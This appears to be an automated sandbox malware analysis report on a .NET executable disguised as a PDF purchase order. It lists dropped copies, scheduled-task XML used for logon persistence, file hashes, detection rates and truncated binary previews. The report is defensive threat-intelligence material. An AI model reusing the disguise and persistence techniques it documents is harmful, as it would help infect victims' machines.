Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\sgxIb.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\z38PO_20248099-1_pdf.exe.log

Download File

Process:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380747059108785
Encrypted:	false
SSDEEP:	48:lylWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMugeC/ZPUyus:lGLHxvIIwLgZ2KRHWLOug8s
MD5:	4D3B8C97355CF67072ABECB12613F72B
SHA1:	07B27BA4FE575BBF9F893F03789AD9B8BC2F8615
SHA-256:	75FC38CDE708951C1963BB89E8AA6CC82F15F1A261BEACAF1BFD9CF0518BEECD
SHA-512:	8E47C93144772042865B784300F4528E079615F502A3C5DC6BFDE069880268706B7B3BEE227AD5D9EA0E6A3055EDBC90B39B9E55FE3AD58635493253A210C996
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aolatbuv.zf4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jsbvj1y4.lpd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jvlmnsfm.y1i.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kllndhzy.o0n.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_moykrvrc.qce.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zk3oli14.52y.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zpr3r03m.arw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxxwey3h.1j0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp26DE.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1571
Entropy (8bit):	5.084824819183175
Encrypted:	false
SSDEEP:	48:cge2oHr8YrFdOFzOzN33ODOiDdKrsuTewnv:HeLwYrFdOFzOz6dKrsuqM
MD5:	0424C6BB2ACE8FEA2FA428FC388395FD
SHA1:	6FAFE9DBE4F08F2C467AF00692738A15798E8C02
SHA-256:	CB29F61E35278D5B145E74829E35368CA03DE2CCE013A380A7C2D035BF75323C
SHA-512:	D54D3B47898E4465D5A3EEE4EE9B25F6AC73B6160C907DFCA5795CEA1DDD89DFB8D15F8805F87AA833BF75DAE05A9CB69ED07276B368D330F9FDA8458A44CF76
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>f

C:\Users\user\AppData\Local\Temp\tmp675.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1571
Entropy (8bit):	5.084824819183175
Encrypted:	false
SSDEEP:	48:cge2oHr8YrFdOFzOzN33ODOiDdKrsuTewnv:HeLwYrFdOFzOz6dKrsuqM
MD5:	0424C6BB2ACE8FEA2FA428FC388395FD
SHA1:	6FAFE9DBE4F08F2C467AF00692738A15798E8C02
SHA-256:	CB29F61E35278D5B145E74829E35368CA03DE2CCE013A380A7C2D035BF75323C
SHA-512:	D54D3B47898E4465D5A3EEE4EE9B25F6AC73B6160C907DFCA5795CEA1DDD89DFB8D15F8805F87AA833BF75DAE05A9CB69ED07276B368D330F9FDA8458A44CF76
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>f

C:\Users\user\AppData\Local\Temp\tmpD40B.tmp

Download File

Process:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1571
Entropy (8bit):	5.084824819183175
Encrypted:	false
SSDEEP:	48:cge2oHr8YrFdOFzOzN33ODOiDdKrsuTewnv:HeLwYrFdOFzOz6dKrsuqM
MD5:	0424C6BB2ACE8FEA2FA428FC388395FD
SHA1:	6FAFE9DBE4F08F2C467AF00692738A15798E8C02
SHA-256:	CB29F61E35278D5B145E74829E35368CA03DE2CCE013A380A7C2D035BF75323C
SHA-512:	D54D3B47898E4465D5A3EEE4EE9B25F6AC73B6160C907DFCA5795CEA1DDD89DFB8D15F8805F87AA833BF75DAE05A9CB69ED07276B368D330F9FDA8458A44CF76
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>f

C:\Users\user\AppData\Local\Temp\tmpEC46.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1571
Entropy (8bit):	5.084824819183175
Encrypted:	false
SSDEEP:	48:cge2oHr8YrFdOFzOzN33ODOiDdKrsuTewnv:HeLwYrFdOFzOz6dKrsuqM
MD5:	0424C6BB2ACE8FEA2FA428FC388395FD
SHA1:	6FAFE9DBE4F08F2C467AF00692738A15798E8C02
SHA-256:	CB29F61E35278D5B145E74829E35368CA03DE2CCE013A380A7C2D035BF75323C
SHA-512:	D54D3B47898E4465D5A3EEE4EE9B25F6AC73B6160C907DFCA5795CEA1DDD89DFB8D15F8805F87AA833BF75DAE05A9CB69ED07276B368D330F9FDA8458A44CF76
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>f

C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe

Download File

Process:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	685568
Entropy (8bit):	7.807300447482996
Encrypted:	false
SSDEEP:	12288:3dPwqNxtOB37QmJauif0txmkuhIak+eBn7Hxz0Kt0rAt7HclhUhlru4TscPm:6OW37QVf0PRu9Qndz0hAtTclhUhldsc+
MD5:	5D5B5ECC06B9058D0EC3199ED8617CFE
SHA1:	CBB1A95878E8A7A4AC09270A6DC7699C78996E28
SHA-256:	0A58B574CCFB2898C4EE47A8DAB29174C2193731573D4578B7B5FF83AD1196D6
SHA-512:	9044D553F7CE2E00FB15BD718065C6BA1E94162B74DFDE65A69EE472712866B287CCD26B52777D744EDC34B2C2FA465645CB99F3B45DA1E544F122ACB372CA37
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0..j............... ........@.. ....................................@.................................;...O.......t...........................(d..T............................................ ............... ..H............text....i... ...j.................. ..`.rsrc...t............l..............@..@.reloc...............t..............@..B................o.......H.......`t..`P......(.......h...........................................&.(.........0..9........~.........,".r...p.....(....o....s............~.....+......0...........~.....+.."........0..!........(....rC..p~....o......t.....+......0..!........(....rI..p~....o......t.....+......0...........~.....+..".(.....Vs....(....t............0..`........s....}.....s....}.....rS..p}.....rS..p}.....s....}.....s....}......}......}.....( ......($.....0..i..........o!.....(......(..

C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Download File

Process:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	685568
Entropy (8bit):	7.807300447482996
Encrypted:	false
SSDEEP:	12288:3dPwqNxtOB37QmJauif0txmkuhIak+eBn7Hxz0Kt0rAt7HclhUhlru4TscPm:6OW37QVf0PRu9Qndz0hAtTclhUhldsc+
MD5:	5D5B5ECC06B9058D0EC3199ED8617CFE
SHA1:	CBB1A95878E8A7A4AC09270A6DC7699C78996E28
SHA-256:	0A58B574CCFB2898C4EE47A8DAB29174C2193731573D4578B7B5FF83AD1196D6
SHA-512:	9044D553F7CE2E00FB15BD718065C6BA1E94162B74DFDE65A69EE472712866B287CCD26B52777D744EDC34B2C2FA465645CB99F3B45DA1E544F122ACB372CA37
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0..j............... ........@.. ....................................@.................................;...O.......t...........................(d..T............................................ ............... ..H............text....i... ...j.................. ..`.rsrc...t............l..............@..@.reloc...............t..............@..B................o.......H.......`t..`P......(.......h...........................................&.(.........0..9........~.........,".r...p.....(....o....s............~.....+......0...........~.....+.."........0..!........(....rC..p~....o......t.....+......0..!........(....rI..p~....o......t.....+......0...........~.....+..".(.....Vs....(....t............0..`........s....}.....s....}.....rS..p}.....rS..p}.....s....}.....s....}......}......}.....( ......($.....0..i..........o!.....(......(..

C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.807300447482996
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	z38PO_20248099-1_pdf.exe
File size:	685'568 bytes
MD5:	5d5b5ecc06b9058d0ec3199ed8617cfe
SHA1:	cbb1a95878e8a7a4ac09270a6dc7699c78996e28
SHA256:	0a58b574ccfb2898c4ee47a8dab29174c2193731573d4578b7b5ff83ad1196d6
SHA512:	9044d553f7ce2e00fb15bd718065c6ba1e94162b74dfde65a69ee472712866b287ccd26b52777d744edc34b2c2fa465645cb99f3b45da1e544f122acb372ca37
SSDEEP:	12288:3dPwqNxtOB37QmJauif0txmkuhIak+eBn7Hxz0Kt0rAt7HclhUhlru4TscPm:6OW37QVf0PRu9Qndz0hAtTclhUhldsc+
TLSH:	62E41225321ADB12D0A60BB210B2D2B41BB59E9D2402D3038EEF7EFF797679156817D3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0..j............... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4a898e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F11FEC [Mon Sep 23 07:59:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
